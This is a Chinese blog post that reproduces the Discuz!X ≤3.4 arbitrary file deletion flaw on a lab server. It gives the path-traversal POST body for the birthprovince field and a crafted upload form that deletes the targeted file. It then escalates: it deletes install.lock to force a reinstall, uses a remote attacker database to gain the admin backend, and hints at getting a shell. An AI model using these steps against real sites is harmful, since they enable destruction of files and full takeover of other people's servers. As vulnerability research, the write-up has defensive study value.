今天看到一位师傅发了一篇分析的文章:
【漏洞分析】Discuz!X ≤3.4 任意文件删除漏洞分析
复现的话需要源码在网上还是找到了
那我们根据文章所知的几个步骤:
1.修改出生地为文件相对路径
发送POST请求:/home.php?mod=spacecp&ac=profile&op=base
POST正文为:birthprovince=../../../test.txt&profilesubmit=1&formhash=b644603b
formhash为用户自己的,所以这里在网页上找一个对应填写过来就OK:
请求完成之后出生地会修改为../../../test.txt
2.上传文件
这里构造了一个上传表单:
<form action="http://192.168.0.10/dz3.4/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file"/>Formhash: <input type="text" name="formhash"/>
<input type="hidden" name="profilesubmit" value="1"/>
<input type="submit" value="Submit"/>
</from>
发送过去后发现成功删除了:
漏洞复现成功,那在这里呢我们思考一下能否进行扩大化危害的测试?于是想到了删除安装程序锁(/data/install.lock)
复现上文步骤删除它即可:
删除完成之后,就可以重新安装了:
在我们进行设置数据库的时候有人就问了,你又不知道数据库账号密码,能怎么办?我们可以使用“站库分离”的思路来设置,使用远程数据库即可。
进了后台自然什么都OK了啦:
至于怎么getshell,相信大佬们一堆姿势~~